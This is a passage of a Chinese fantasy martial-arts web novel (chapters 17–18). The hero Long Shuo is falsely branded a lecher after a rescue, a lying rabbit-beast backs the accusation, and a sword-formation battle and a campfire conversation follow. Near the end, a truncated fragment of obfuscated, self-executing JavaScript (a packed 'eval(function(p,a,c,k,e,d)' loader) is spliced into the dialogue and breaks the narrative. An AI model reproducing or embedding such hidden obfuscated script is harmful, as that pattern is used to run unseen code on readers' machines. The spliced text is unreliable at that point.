龙烁定睛一看,原来是青丘派的人,说话之人正是昨晚的童师妹,连忙喊道:“你们来得正好,快把她带走!” 17. 百口莫辩 那邓师兄立即闪到龙烁身旁,将那郦师姐揽了过去。 那郦师姐见是邓师兄将自己拦腰扶住,双手不自觉地搂住他脖颈,嘴巴靠近他脸颊,想去亲吻。 那邓师兄吓了一跳,大叫道:“师妹不可!” 他伸手一点,点中了她的昏睡穴,那郦师姐立时昏晕了过去。 见状,青丘派的其余几人不由分说地挥剑朝龙烁和燕沐阳刺去。 龙燕二人提剑挡隔,不住躲避却不反击。他们深知这是一场误会,应尽量避免与他们发生冲突,否则只会误会更深。 小狌狌见这一干人等打了起来,龙烁和燕沐阳却是只闪不攻,以为是怕了他们,边逃边喊道:“你们顶住啊,我去找我朋友,叫它过来帮你们啊——” 它说完竟一溜烟地逃得无影无踪了。 净心大喊道:“别打——你们别打了,你们师姐是被恶人下了药!” 那吕师弟昨晚在困兽网中被困了将近两个时辰,认为龙烁和燕沐阳是有意令他当众出丑,他大感受辱蒙羞,对此心怀怨恨,他指着龙烁骂道:“没错,恶人便是这两个淫贼!” 那吕师弟奋力朝龙烁袭去,龙烁左躲右闪地大声喊道:“误会,都是误会,先别打,你们听我说——” 闻声,几人暂且停止了进攻却不收剑入鞘。 燕沐阳飞身到龙烁身旁,将他护在身后。 那邓师兄扶郦师姐靠坐到一棵大树后,也加入阵仗,两方开始对峙起来。 净心解释道:“那恶人名叫陈糠粟,刚被击退,是龙大哥和沐阳公子救了你们师姐!” “对对!”,龙烁应和道。 “笑话,做贼的喊捉贼!”,那童师妹剑指龙烁道:“他身上的剑伤明明是拜我师姐的水云剑所赐,铁证如山,小和尚还在这里骗人么?” 龙烁刚被陈糠粟打伤并未在意,沐阳公子帮忙敷了药后伤口也已经不再流血,此时才发现自己胸口的剑伤上粗下细,与一般刀剑所划的破口大不相同。 “不是的,那是恶人用你师姐的佩剑把龙大哥打伤的!”,净心解释道。 “呵,这恶人想得倒挺周全啊,提前知道我们会追来便想着栽赃嫁祸!”,吕师弟讽刺道:“出家人不打诳语,你再胡说,我们连你也不放过!” 吕师弟朝龙烁和燕沐阳二人喝道:“昨日你们害我蒙羞,今日又来欺辱我师姐,我们青丘派跟你二人势不两立!”,他说着挥剑刺向龙烁。 龙烁奋力一挡,解释道:“昨日我来不及提醒你,那也不能全怪我们!至于你们郦师姐,等她醒来跟你们解释,自然就清楚啦!” “臭小子,你还要抵赖么?”,那邓师兄将佩剑换至左手,右手从胸前取出一个白毛毛的物什说道:“这只九尾狐原是我们活捉的猎物,暂由郦师妹保管,却被你们杀了,这怎么说?” “什么,这狐狸是你们的?” 龙烁见那小狐狸在邓师兄手中张嘴吐舌地缩成了一团,尾巴断裂之处鲜血兀自流淌,忙解释道:“它刚才要吃我,我情急之下斩断了它的一条尾巴,本无意杀它,哪知它就死了!” “废话,九尾狐的尾巴是最脆弱的,如同咱们人类的十指连心!”,吕师弟怒道:“哼!若不是你欺辱我师姐在先,它又怎么会来吃你?你还我们的九尾狐来——” 净心双手合十道:“此事好说,我们再帮你们抓一只即可!” 童师妹道:“九尾狐生育极少,哪有那么容易找到,我们找了一天,也只找到这一只,那也是我们的幸运。猎奇之争我们每年都来,以前一只都没找到过!” 龙烁不禁暗暗叫苦,想着咱们并不是为九尾狐而来却恰巧遇上。那小狐狸以可爱的外表引诱自己上钩,幸得沐阳公子相救,否则此时早已经成为它的口粮,现下那九尾狐已死,该如何给他们交代呢?他微一沉思,说道:“这小狐狸虽然死了,不过即使活着,也不可以带出万兽山,如此说来,死活都一样,这个猎物我们不与你们争夺,也就是了!” 那几人你看看我,我瞧瞧你,各人心中都有计较,彼此心照不宣。 那吕师弟斥道:“什么死活都一样,这九尾狐原是我们青丘的圣物,我们要抓活的祭天,你既杀了它,那就拿你的命来换吧!”,他说着又是一剑刺来,其余几人也帮忙一齐攻向龙烁。 燕沐阳飞身上前道:“那狐狸,是我杀的!” 他言下之意,是要他们冲自己来,所有罪责自己一力承担。 龙烁和燕沐阳二人个头不相上下,龙烁看着挡在身前的沐阳公子,对他十分感激,他轻轻将燕沐阳推开,走到几人面前道:“我实话实说啊!这小狐狸的确是被沐阳公子所杀,但他也是为了救我,你们要以命抵命,冲我来好了,跟他没任何关系——” 那吕师弟喝道:“你二人谁也别想逃!” “哎,吕师弟,我话还没说完,你不要总是这么急躁嘛,强极则辱啊!”,龙烁劝道:“不是我吹牛啊,要想杀我,我朋友肯定是不答应的,他刚才那是让着你们,要是真打起来,就凭你们这几人,恐怕很难占到什么便宜!想当初我们沐阳公子以一挡百,瞬间就把所有人打倒在地,你们要是一意孤行地跑上来送死,可别怪我这次没有提醒你们!” 燕沐阳心知龙烁如此抬高自己,是想吓退他们,避免一场无谓的争斗。他眼睛微微看向龙烁,并未说话。 那吕师弟和童师妹等人听龙烁如此说,都看向那沐阳公子,见他神情冷峻,气势威严,又听说他能以一挡百,想必武功术法是极高的,二人不自觉地心生惧意。 那邓师兄喝道:“我青丘派弟子岂是贪生怕死之辈,你们杀我青丘圣物在先,毁我郦师妹声誉在后,今日我们纵使一死,也要向你二人讨个说法——” 他从腰间取出一个酒袋兀自往口中送了一大口酒,又将酒袋传给身后一名举着火把的师弟。 那师弟接过酒袋道:“大师兄说得对!我们岂是贪生怕死之辈,为了青丘派的声誉,咱们拼死一战!”, 他说完举起酒袋大喝一口,又传给了另一名师弟,那师弟喝过后便又给到下一人,各人依次喝完壮志酒后便将酒袋还给了邓师兄。 那吕师弟剑指龙烁道:“今日我跟你二人势不两立!” 眼看几人便要一齐冲上,龙烁拦道:“哎,等一下!邓师兄,你的英雄气概我龙烁十分佩服,但是我已经解释过了,那小狐狸要吃人,被我们误杀,你们郦师姐是被那采花大盗陈糠粟抓去的,好在只是被下了药,并没有失去贞洁,她醒来你们自去问她即可——” “哼,到了这步田地你还继续撒谎,是害怕了吗?” 那吕师弟不由分说,挥剑朝龙烁刺来。 燕沐阳迅速闪到龙烁身前,他袍袖一挥,幻化出一架冰琴,旋即手按琴弦,径自不动,打算待到几人近身之时,便拨弄琴弦发射冰箭! 忽听一个嗲嗲的声音从地底传来。 那声音说道:“哎呀我都出去转了一大圈啦,怎么你们还没有打完——” 几人听到奇怪的声音从地下传来,以为有高手潜伏,立即停止了进攻。 各人都默不作声,低头寻找声音的来源。 龙烁忽然感觉脚下的泥土有些松动,他连忙退后几步,眼前顿时出现一个二尺来宽的大洞。 一只灰毛红眼的大兔头从洞口中探出,吓得龙烁“妈呀”一声大叫,躲到了燕沐阳身后。 那兔头东张西望地看了看众人,咯咯一笑,说道:“各位朋友有什么事不能坐下来商量,何必你争我斗地伤了和气呀!”,它说着爬出了洞口,前脚离地,仅用后腿站立在了众人面前。 众人见那兔子足足有猎狗那么大,还会说人话,都目瞪口呆地望着它。 那童师妹颤声道:“怎么兔子会说话!” 那邓师兄低声道:“万兽山中都是上古神兽,它们聪敏机灵,学会人话也在情理之中!” 只见那兔子很绅士地给大家鞠了个躬,咯咯笑道:“我生性喜静不喜动,刚才一男一女在我家门口亲热,我可不爱看了,后来又有你们几人跑来打架,实在是有点烦人啊,我说出去走走吧,转了一圈回来啦,你们竟然还没打完,打架总是不能解决问题的,有什么事不能沟通呢你们说是不是?” “啊对!” 龙烁见这只兔子虽然长得高大了些,但是很通情达理,于是不再害怕,从燕沐阳身后闪出来说道:“兔大哥说得一点不错,我也是这么认为的!”,他围着那大兔子转了一圈,赞道:“兔大哥你长得真是高大威猛气度不凡啊,你刚才说有一男一女在你家门口亲热,你看到他们了没?” “看到了啊!” 龙烁大喜,拍手笑道:“那太好了,麻烦你证明一下我和沐阳公子的清白,你跟他们描述一下,那一男一女长什么样子?” “怎么你们前后脚过来,竟然没看到吗?”,那兔子指着靠坐在树旁的郦师姐说道:“那女子就长这个样子呀!” “没错没错!”,龙烁点头道:“那男子呢?” “那男子嘛,高大英俊,声音温柔,他穿着青色的长衫,头发高高隆起,面前还垂有龙须刘海!” 燕沐阳眉头微皱,朝那兔子看去。 龙烁回想刚才陈糠粟跟那郦师姐说话之时语音的确很温柔,而与我们说话时却是霸气侧露。那会儿陈糠粟穿的是黑色的长衫,头发略微散乱,垂下来的发丝潇洒飘逸,宛若自己的龙须刘海,于是点头称是道:“没错没错!他当时还做了自我介绍,他的名字叫什么你听见了吗?” “听见了啊!” “快说快说,是不是叫陈糠粟!”,龙烁急切地问道。 “不是啊,是龙烁!” 龙烁一怔,以为是听错了,又问道:“你说是谁?” “是你呀,龙烁公子!” 龙烁一呆,半晌说不出话来。 此时空中突然划过一道闪电,远处响起几声闷雷,一些豆大的雨点随风而落,打湿了龙烁的衣襟,他竟然没有感觉到。 那童师妹哼了一声,对龙烁怒目而视。 那吕师弟咧嘴大笑起来。 那邓师兄呸地往地上狠狠啐了一口。 净心斥道:“你这只坏兔子,你怎么乱说话,你亲眼看见了吗?” “是呀,我亲眼所见啊,你竟没看到吗?” “你——” 净心怒不可遏,挥着拳头去打那兔子,那兔子却一溜烟地钻入洞里。 洞中的泥土快速上涌,瞬间填平了洞口。 龙烁嘴巴微张,眼光木讷,面部僵硬,哭笑不得,他苦苦思索不得其解,不明白那兔子为何如此栽赃陷害! 这兔子长得温顺可人和蔼可亲,表现得也十分善解人意,说话更是容易让人深信不疑,龙烁想了半天也没有想明白其中原委,觉得这次真的是跳进黄河也洗不清了! 这雨越下越大,将那两名青丘弟子手中的火把浇灭了,周围又变得漆黑一片。 龙烁回过神来,发现衣服已经湿透,沐阳公子和净心已经和众人打了起来。 燕沐阳快速拨弄琴弦,冰刀冰箭激射而出,逼得周围一群人不能近身,只在一丈地外挥剑挡隔。 净心不知从哪里取来一根齐眉棍,在不远处与邓师兄拼死搏斗。 龙烁见他棍法纯熟,刚劲有力,那邓师兄虽然剑法精妙,一时间却也占不到什么便宜。 龙烁见燕沐阳每次发出冰刀冰箭都避开他们的要害,直冲着他们胳膊大腿射去,知道他是有意手下留情,不想伤他们性命。 如此一来,那冰刀冰箭所射的方位反而更加古怪刁钻,众人均觉难以抵挡,有几名弟子刚挡住了左臂袭来的冰刀,却没挡住右侧大腿袭来的冰箭。 过不多时,青丘派的所有人胳膊大腿均受了伤。 忽听一女子闷哼一声,龙烁转过头来,见那郦师姐手指动了动,随即睁开了眼。 他心中大喜,想着这回终于要真相大白了,忙喊道:“醒了,醒了,她醒了——” 众人见郦师姐醒来,立即停止了争斗,凑上前去围绕在她身边,口中兀自喊着:“师姐你醒了?师姐你没事吧?” 那郦师姐见自己的师兄师弟都来了,又有龙烁他们在周围凝望着自己,想起刚刚发生的事,不禁羞愧难当。 她将身上的衣服捂紧了一些,只是现下暴雨如注,不管她怎么整理衣襟,湿透的衣服都是紧紧贴在她的身上,显露出她婀娜妩媚的身姿。 她呜呜地大哭起来,泪水和雨水一齐从她脸上不住滑落。 邓师兄见郦师妹脸上已无潮红之色,知道是突降的暴雨泻了她的火气,安慰道:“没事了师妹,没事了!” 那郦师姐抬眼看向邓师兄,忽然想起刚才九尾逃跑的事来,急切地问道:“邓师兄,九尾狐,那九尾狐呢?我刚才一个人到处找它不到,你们找到它了吗?” 邓师兄脸现悲伤,从胸前取出那只死狐狸,指着龙烁和燕沐阳道:“灵狐已被他们杀了!” 郦师姐看着那断了一条尾巴的小狐狸,又看看龙烁和燕沐阳,认为九尾狐的死跟自己看守不力有很大关系,于是哭得 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龙烁身子一晃,差点气晕,燕沐阳伸手扶住了他。 邓师兄提剑喊道:“你还有什么话说!” “呵,我真的,无话可说——” 龙烁看向那些青丘派的人,此时他们个个义愤填膺,怨气十足,恨不得把自己碎尸万段。 龙烁自觉受了极大的冤屈,呼吸变得有些急促,他手指天空,本想说:“你们看,老天都哭了,我真是冤枉啊,冤天下之大冤——”,却是气愤地怎么也说不出话来了。 “受死吧!”,邓师兄喊道:“列阵——” 其余七名青丘派弟子分站东、西、南、北、东北、东南、西北七个方位,将龙烁三人包围起来,唯独西南方位留出空缺。 吕师弟嚷道:“郦师姐,快上啊——” 郦师姐叫道:“师兄师弟,别打了,咱们走吧——” 邓师兄站在包围圈外大声喊道:“师妹,你若尚未恢复力气,就暂时休息,待我们杀了这几人后,就带你离开——” 他纵身一跃,飞身而起,直冲到了十几丈外的高空,随即反转身体,俯身袭来。 他剑法奇快,剑身快速旋转如风火轮一般朝几人头顶逼近。 其余弟子亦是将佩剑转得飞快,从七个方位直逼他们而来。 这九门剑阵原是八人分站四周以作八方包围之势,一人从顶部盖冒以作瓮中捉鳖之举,意在牢牢将敌人周围的九个门户全部堵死,再以凌厉剑法全面侵袭。 俗话说双拳难敌四手,何况这是全方位无死角进攻的无敌剑阵,即使里面有再多的人也难以招架,可以说是蚊蝇昆虫绝难逃出,飞禽走兽必然送命。 燕沐阳见他三人的活动范围越来越小,朝龙烁和净心的后背猛力一推,将他二人从西南方向的那个空缺之处推了出去,自己留在了垓心。 龙烁落地时脚跟没有站稳,霍地摔倒在地,他反应过来后猛一回头,见燕沐阳被八人围在中间不见了踪影,大喊道:“燕沐阳——你怎么那么傻,为何不一起出来?” 净心看到那八名青丘弟子正自奋力挥剑袭击,更有许多衣服的碎片不断从人群中四散飞出,担心燕沐阳受伤过重,大喊道:“沐阳公子——我来助你——” 他提起齐眉棍飞身上前,挥棍朝那吕师弟的背后猛力一挥,大叫道:“姓吕的,我来跟你打——” 铜棍未及落下,却被一股强大的劲力震回,他本人连带那八名青丘弟子一起被震飞了出去。 龙烁定睛一看,所有青丘派的弟子都横七竖八地倒在了地上,各人的衣服出都现了很多破洞,露出了里面白色的内衣和光滑的肌肤,更有一些未完全掉落的衣服碎块零星地挂在身上。 净心揉着屁股站起身来,兴奋地看向燕沐阳。 只见燕沐阳左右手各持四把冰剑,往面前奋力一掷,八把冰剑直插入土中,他催动寒冰术,将冰剑的寒气吸入体内,所有冰剑便化成了水消失不见。 龙烁赶忙上前,围着燕沐阳转了一圈看他有没有受伤,见他雪白的衣服虽然被暴雨浸湿,但依旧完好无损,甚至未沾上一点泥渍灰尘,不禁暗暗称奇,问道:“沐阳公子,你没事吧?” 眼见青丘派的众人一片哀号之声,各人都已经不能站立,那郦师姐挣扎着起身,向龙烁他们求饶道:“三位大哥,是我的不对,请你们高抬贵手,放过我们吧——” 邓师兄道:“师妹,你何必求他们,我们青丘派弟子士可杀不可辱,只要还有一口气在,也要跟他们拼命——” 他说着便欲起身再打。 “师兄,不要——我——” 郦师姐话还没说完,却见那燕沐阳催动寒冰术,在手心中幻化出了几枚石子大小的冰块,他用力一挥,冰块一一点中了师兄弟的穴道。 大家瞬间被定在了原地。 郦师姐怒斥道:“你——” 她忽感鸠尾穴处一阵疼痛,旋即便动弹不得了。 燕沐阳转身说道:“龙烁,来日方长,是非曲直,自会水落石出,咱们走吧!” 龙烁回想今晚发生之事,起初是为救那郦师姐,使其免遭陈糠粟的侮辱,本是侠义之举,却被陈糠粟无意中用水云剑划伤,先后又有这些青丘派的弟子和那只会骗人的兔子诬陷自己是淫贼,后来更是被郦师姐这个当事人无端指责,真真是百口莫辩,大感冤屈! 他无奈叹道:“哎,我真是多管闲事,自作自受——算了,咱们走吧!” 龙烁说着便欲转身离去,那吕师弟却破口大骂道:“淫贼想逃吗?快快解了我们的穴道,我要与你单打独斗——” 闻声,龙烁停住脚步,他回过头来看向那吕师弟一眼,暗想:“你们打不过沐阳公子,便想着跟我来单打独斗,打赢了又怎么样,打输了又怎么样,我的名誉已毁,又有什么意义了?”,他悠悠叹道:“你们已经赢了——还要我怎样!”,他说着转身离去。 几人走出几丈远,忽听背后那青丘派的一干人等高声叫嚷着“它竟没死!”“怎么又活了!”“别让它跑了!”云云。 龙烁回过头来,却见那只小狐狸已经从邓师兄的胸前跳了出去,正在往西面的草丛中逃窜。 他们苦于不能动弹,只得不停大叫,却只能眼睁睁地看着那小狐狸飞快地逃走了。 净心叫道:“噢,原来那小狐狸是装死的!” 龙烁暗自摇头,冷笑一声,说道:“呵,又是一个会骗人的!” 18. 言东而西 此时已是深夜,三人往西面的小路行了大约半个时辰,其间躲过了一条巨大蟒蛇的偷袭,又遇到三头野猪追击,几人或躲闪或逃避,或恐吓或进击,终于击退了猛兽们的侵袭。 他们走出那片暴雨区域后来到了一块平地。 这里草木稀疏,道路通畅,月光直泻而下,周围宽敞明亮。 三人浑身仍是湿漉漉的,龙烁正想着如何生点火来烘衣取暖,忽见一只蓝身白喙的大鸟从几人头顶掠过。 那大鸟高声鸣叫之际,口中兀自喷出一团火,直冲他们而来。 燕沐阳迅速期到龙烁和净心身后,携着二人纵身一跃,躲过了火球的偷袭。 那大鸟见这三人身法灵活,快如闪电,啼鸣几声后便飞走了。 那火球燃着了三人身后的一棵大树。 “啊”,净心叫道:“上次我误入万兽山的时候就碰见这大鸟了,这鸟飞到哪里就往哪里吐火!” “那是火鸟毕方,这家伙是个十足的纵火犯!”,龙烁道:“不过这恰好省去了咱们钻木取火的麻烦!” 净心用一根粗树干取了火种后,燕沐阳挥剑将那树木周围的杂草削除干净以防止火势蔓延。 三人转过一个山头,在一个小山坳里生起了一堆暖洋洋的篝火。 他们将外衣脱下来架在篝火旁边烘烤。 一路上龙烁都在回想今晚发生的事,觉得有太多的巧合都让自己给撞上了,简直可以说是倒霉透顶。 他暗想:“倘若我不去理睬那只卖弄风骚的九尾狐,那么后面的事情就根本不会发生。如果飞飞不去好奇那陈糠粟和郦师姐的卿卿我我,我三人也不至于为了英雄救美而被众人误会。还有那只兔子,它到底是如何知道我的名字的?啊,对了,我那会儿曾自报姓名,说我龙烁十分佩服邓师兄的英雄气概,我说这句话的时候定是被那可恶的兔子偷听去了!” 如此说来,它很可能是有意欺骗故意陷害,若真是这样,那只兔子就太可恶了! 细细想来,今天万兽山中遇到的很多生物都十分聪敏机变,首先那九尾狐就既会骗人又会演戏,它的苦肉计竟然瞒过了在场的所有人,不过龙烁倒是很能够理解它,知道它那是为了保命,他心想:“虽然起初它是想吃我来着,却也是在众目睽睽之下将我拖走,光明正大地告诉大家它要吃人。而那只野兔子,表面看来温柔善良,暗地里却是虚情假意,竟然用几句简单的甜言蜜语便将大家哄骗住了,更是以平平无奇的几句话不知不觉地就将我置于死地,可以说是不费吹灰之力便起到了借刀杀人的效果!若说那九尾狐是真小人,却也比这野兔子的伪君子强上百倍了!相比之下,飞飞已经很好了,它虽然有些狡猾,但那也是生活所迫,在这瞬息万变的万兽山中,练就一些生存本领是十分必要的!它虽然还有点贫嘴,但最起码不骗人也不害人!如此说来,这里面最坏的,还就是那只野兔子了!” 想到这里,龙烁气愤地哼出了声,不自觉地用拳头猛捶了一下大腿。 “何事?”,燕沐阳道。 “啊,没事!” “龙大哥,你在想什么?”,净心问道。 “没什么!”,龙烁望着篝火悲愤道:“就是有点想喝酒了——” 燕沐阳轻轻拍了一下龙烁的肩膀,从胸前取出一个酒袋,摆到了他的面前。 龙烁猛一抬头,惊喜地问道:“你从哪里弄来的?” “剑阵中,从那邓师兄腰间取下的!” 龙烁不敢相信地大竖拇指道:“沐阳公子,你真是厉害!” 他如获至宝,一把抓过酒袋狂饮起来,这酒虽没有仙人酌的醇香,也不似小清酿的甘洌,却也余韵无穷回味悠长,他大口喝着口中兀自赞叹道“好酒好酒!”。 不知是人的作用还是酒的作用,一股暖意涌上心头,龙烁瞬间觉得筋骨舒畅,百骸有力,恣意盎然,豪气渐起,他站起身来朗声说道:“三十功名尘与土,八千里路云和月!策马奔腾千万里,不沐风雨枉少年!” 他前两句是引用抗金名将岳飞《满江红》中的诗句,后两句是自己兴致所至,有感而发! 他看了看身旁这两人,燕沐阳一向清贵俊雅,打架之时都要确保衣服不粘到泥土,却为了保护我被暴雨淋成了落汤鸡。 而净心小和尚,不但在陈糠粟使诈的关键时刻救了自己的性命,而且在沐阳公子被围攻的时候奋不顾身地冲上去帮忙,这份情义,龙烁也深深地记在了心里。 想到这里,他又情不自禁地哈哈大笑起来。 “龙大哥,你在笑什么?”,净心问道。 “我是高兴,今日能够与你二位好兄弟同甘苦共患难,我龙烁实在是不枉此生了!” “呵呵!”,净心脸现喜色道:“净心也十分佩服龙大哥的隐忍,如果是我被他们冤枉,早就不顾一切地跟他们打起来啦!” “哈哈!”,龙烁摇头道:“我若有你那一身好武艺,恐怕也会像你一样,上去跟他们拼命啦!” 他话虽然这么说,心中却想,倘若自己真的有净心或者燕沐阳那样的武功术法造诣,当自己面临千夫所指的时候,会不会不顾一切地拼死一搏呢? 他又想到,沐阳公子对阵那青丘派的九门剑阵之时,那些青丘派的弟子明显是拼了命地在打,而燕沐阳却以德报怨,只是将他们的衣服削成了碎片,并未伤到他们肌肤,想来他可能是考虑一旦将他们打残或打伤,到时纵使误会能够消除,双方的恩怨也会更深。如此说来,沐阳公子却是处处为我着想了。 龙烁看看燕沐阳,他此时已将白色的外衣穿在了身上,整个人又变得清冷高贵飘飘若仙了,不禁感叹道:“我若是女子就好了!” “为何?”,燕沐阳道。 “我若是女子,便可嫁与你为妻,得夫如此,妇复何求啊!” 净心听到龙烁如此说,又背过身去念起了佛经。 龙烁哀叹一声,说道:“只可惜——” 燕沐阳道:“可惜什么?” “只可惜你是男的,我也是男的,你我的名字中虽有龙阳二字,我却没有龙阳之癖,亦无断袖之好!” 燕沐阳似是不想听他这些酒后的胡言乱语,背过身去说道:“我亦无此癖好!” 过了一会儿,龙烁又问道:“沐阳公子,我想知道,如你这般神仙似的人物,到底喜欢什么样的女子?” 燕沐阳没有要回答的意思,只是转过眼神去看那篝火,不再说话。 “你告诉我,我帮你留意啊!遇到合适的,我可以帮你撮合——” “龙烁——”,燕沐阳微微皱眉,意思是让它不要再说了。 “哎,对对!”,净心听赶忙道:“龙大哥,咱们聊点别的吧!” 龙烁哈哈一笑,暗想你不是在背诵佛经吗?怎么我和沐阳公子的对话你竟听得这么清楚,便训斥道:“净心你心不诚啊!作为佛门弟子,应当外物杂而心安静,福祸至而神不乱,正所谓四大皆空六根清净,如此才能立地成佛荣登极乐啊!” “呵呵,龙大哥可知道我的法号是如何得来的?” “噢?如何?” “我从小调皮捣蛋贪玩胡闹,以致于无法静下心来修习佛法,师父说那是我心不定的缘故,所以给我取名净心,意思是让我驱除杂念,钻研佛法!” “哎,要我说,那是你志不在此的缘故,咱两个一样,我生性不喜习武,所以家传的功夫到现在也掌握不了精髓!”,龙烁叹一口气道:“不过现在看来,做人还是不能太过随性,今日若没有你们两位好兄弟帮助,恐怕我都已经死了好几次了!” 净心微一沉思,说道:“今日之事,龙大哥确实受了委屈,只是我有一点想不明白,咱们明明是救了那郦师姐,为何她还要诬陷你呢?” “哎!”,龙烁叹了一口气说道:“她并没有诬陷我——” 燕沐阳看向龙烁,目光如炬,看得他一阵心慌。 “龙大哥,难道你真的?”,净心本想着说难道你真的欺辱了她,转念一想,又觉得不对,三人一直在一起,并未分开过,他如何能够得空? “诶,你们别误会啊!”,龙烁赶忙解释道:“我的意思是她并没有明着诬陷我,也就是说,她并没有明确说是我!她当时怎么说的来着?她说‘怪不得他,只怪自己控制不住’是不是,我问她怪不得谁,她又不再说话了是吧?” “对呀!”,净心道。 “那不就是了,人家已经解释清楚了,她根本没有要怪罪陈糠粟的意思,至于中间的原委曲折,人家也不愿再提!” “可是众人都误会是你欺辱她啊?”,净心道:“你为何不辩驳呢?” “呵,你觉得以当时的境况,我再说什么,他们会相信?” 净心思索了一下,说道:“似是再说什么也没用了!” “对呀,所以没办法,也不能怪她!” 燕沐阳目光闪动,说道:“她虽说怪不得别人,却表现得甚是委屈,如此一来,更加深了各人对你的仇恨。” “你是说,她是有意嫁祸于我?” 龙烁回想当时的情景,细细琢磨,觉得也有道理。 他看了看燕沐阳和净心,暗想咱们三人一起来‘英雄救美’,为什么他们只嫁祸我一个人呀? 他微一思索,明白了其中道理,沐阳公子温文尔雅,一身的浩然正气,而净心又是个和尚,这里面最容易被误会为淫贼的也只能是我了。 龙烁问燕沐阳道:“莫非她喜欢陈糠粟,怪我们打搅了她的好事,还是有什么别的原因啊?” “不知!” “你猜猜啊——” “无益,不猜!” “好吧,如此说来,她的确是有意袒护陈糠粟了,下次再遇到她,一定要问个清楚,还我清白!”,龙烁哀叹一声,说道:“今天出门没看皇历啊,真是倒霉!” “龙大哥,恐怕你即使看了皇历也没用啊,是飞飞带咱们来这里的啊!”,净心道:“却不知它现在又到了哪里!现在已近二更天,它不会已经回去了?” “哎呀我的妈呀——” 一个尖锐的声音从北面传来。 “说曹操曹操到!”,龙烁道。 三人转身一看,飞飞在不远处的草丛中探出头来朝着他们喊道:“你们让我一通好找——” 小狌狌快速期到龙烁身旁,坐下来烤火。 龙烁问道:“你跑哪去啦?” “我去找我朋友小贝啊,这家伙太难找了,主要是它的家太大啦,我找了好久也没有找到,哎——” 龙烁道:“不用找了!” “为什么?” “我们已经找到了”,龙烁闷哼一声道:“你的朋友是不是一只肥硕的大兔子?” “对对,没错,你们见到它啦?有没有问出白泽在什么地方?” “呵!问它?”,龙烁冷笑一声,愤愤地道:“这只死兔子一肚子的坏水,嘴里没有一句真话,问它作甚?我若再碰到它,一定把它烤着吃了以解我心头之恨——” 看着龙烁咬牙切齿的样子,飞飞疑惑道:“你为什么这么恨它?” “飞飞,你的朋友,它太会骗人啦!”,净心道。 “废话,它是讹兽,当然会骗人啦!” “讹兽?” 龙烁一惊,猛然想起在《山海经》一书中曾经读到过“西南荒中,出讹兽。其状若菟,人面能言,常欺人,言东而西,言恶而善。其肉美,食之,言不真矣。” 他又觉得那兔子虽然没有人的面孔,却是深谙骗人之术,不禁暗暗称奇,疑惑地问道:“我见书上说食其肉,言不真!难道吃了它的肉真不能再说实话了?” “怎么可能!小贝是我最好的朋友,它很善良很单纯的,你可千万别伤害它!” “呵,它善良单纯?”,龙烁嘲笑道:“看来人类的语言你还没学透,你是不是不明白这两个词的意思?” “不是啊,它真的很善良很单纯,它只是会骗人,但不会故意去害人——” “骗人即是害人啊,你跟它交朋友,难道没有吃过它的亏吗?”,净心问道。 “没有啊,我既知道它的脾气秉性又怎么会上当呢?嘿嘿,这家伙不管你问它什么,它都会给出错误的答案,我教你们一个方法啊,你们只要在问它问题的时候,给他两个选择,排除它给出的错误答案,不就行啦!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嘿,我正要跟你们说,谁料你们仇家就找上门了呢!我见你们打他们不过,觉得还是保命要紧呀,就赶紧溜啦,顺便去找我朋友,嗨,哪知道不但我朋友没找到,你们也不见了,我就又跑来找你们——” 龙烁回忆了一下当时情景,仍是不解,又问道:“我当时还问它是否看到一男一女长什么样子,它说它看到了,那便是没有看到了?” “就是没看到啊!” “可是那女子的相貌它是说对了的呀!” “是吗?”,小狌狌也觉奇怪,它搔了搔头说道:“那一定是蒙对了,我朋友就有这一点好,它只会说假话,不会说真话,更不会说半真半假的话,所以我说它单纯善良,因为接触久了你就会发现,从它的言语中你就能猜出来它在想什么,可不像你们人类,一会儿说真话,一会儿又说假话,让人根本分不清楚到底是真还是假!” “额,听你这么说,我还冤枉它了?”,龙烁道。 “善哉善哉!”,净心双手合十道:“龙大哥,我们可能真的错怪了那只讹兽,它生性即是如此!” “是啊是啊——”,小狌狌道:“你们还要靠它寻找白泽呢不是,总不能人家帮助了你们,你们却要把它吃了吧?” “嗯!”,龙烁点了点头,感叹道:“看来这只讹兽是个人人喊打的家伙呀,它能有你这样一个朋友也算运气好了,我劝你尽量让它少接触我们人类,不然真说不定什么时候可能就被杀来吃啦!” 一说到吃,肚子里一阵咕咕乱叫,龙烁顿时感觉又饥饿又疲惫,他揉了揉肚子道:“谁那有吃的?我有点饿了。” 净心摇了摇头。 燕沐阳不用摇头龙烁也知道他什么都没有,无奈地从胸前掏出来几个桃子扔给他们道:“哎,吃了一天的桃子,一点力气也没有!” 小狌狌此时也甚感饥饿难耐,发现有桃子便两眼放光。 龙烁扔给它一个道:“给你一个,一会儿麻烦你帮我们盯梢,我可得休息一会儿,困死啦!” “没问题没问题!”,小狌狌接过桃子狼吞虎咽地吃了起来。 见龙烁哈欠连连,净心不自觉地被传染,他也打了个哈欠说道:“龙大哥若是困乏,就躺下睡一会儿,我帮忙盯着!” “不用,你也休息一会儿吧,一会儿咱们去找白泽,可能免不了还要大动干戈!”,龙烁朝小狌狌说道:“飞飞,麻烦你半个时辰后叫我们起来啊!” “嗯嗯,好,嘿嘿!” 三人吃过桃子靠坐在山坳边缘休息,净心将齐眉棍拢在双臂之间以防遇到野兽侵袭。 过了不知多久,龙烁慢慢睁开了眼睛,他伸了伸懒腰,觉得经过刚才的小憩之后浑身精力充沛,筋骨舒畅,又见燕沐阳在自己身边盘膝而坐,状如入定,长长的睫毛兀自闪动,不自觉的多看了他两眼。 待到回过神来,龙烁发现小狌狌竟然不见了,却不知它去了哪里。 忽有轻微的呼噜之声传来,净心在一旁睡得正熟。 又过了一会儿,龙烁见那小狌狌蹦着跳着地跑了回来,问道:“你跑哪去啦?” “我觉得你那桃子很好吃,想再去摘点,却只找到了这个!” 小狌狌说着将双手摊到龙烁面前,里面只有四五个核桃大小的青桃,它失望地说道:“你尝尝,涩得很!” 龙烁皱眉道:“我不是让你盯梢吗,你离开了多久啦?” “你们一睡着我就去啦,也没多久,就一炷香的时间吧!” 龙烁暗想这一觉睡出了一天一夜的感觉,竟将满身的疲惫一扫而光,这一炷香的时间简直太值了! 但他还是对小狌狌的不守承诺耿耿于怀,于是训斥道:“你这小猴怎么没个准头,万一我们被野兽袭击怎么办?” “野兽袭击怎么啦,这山里谁还没被袭击过啊,嘿嘿!” 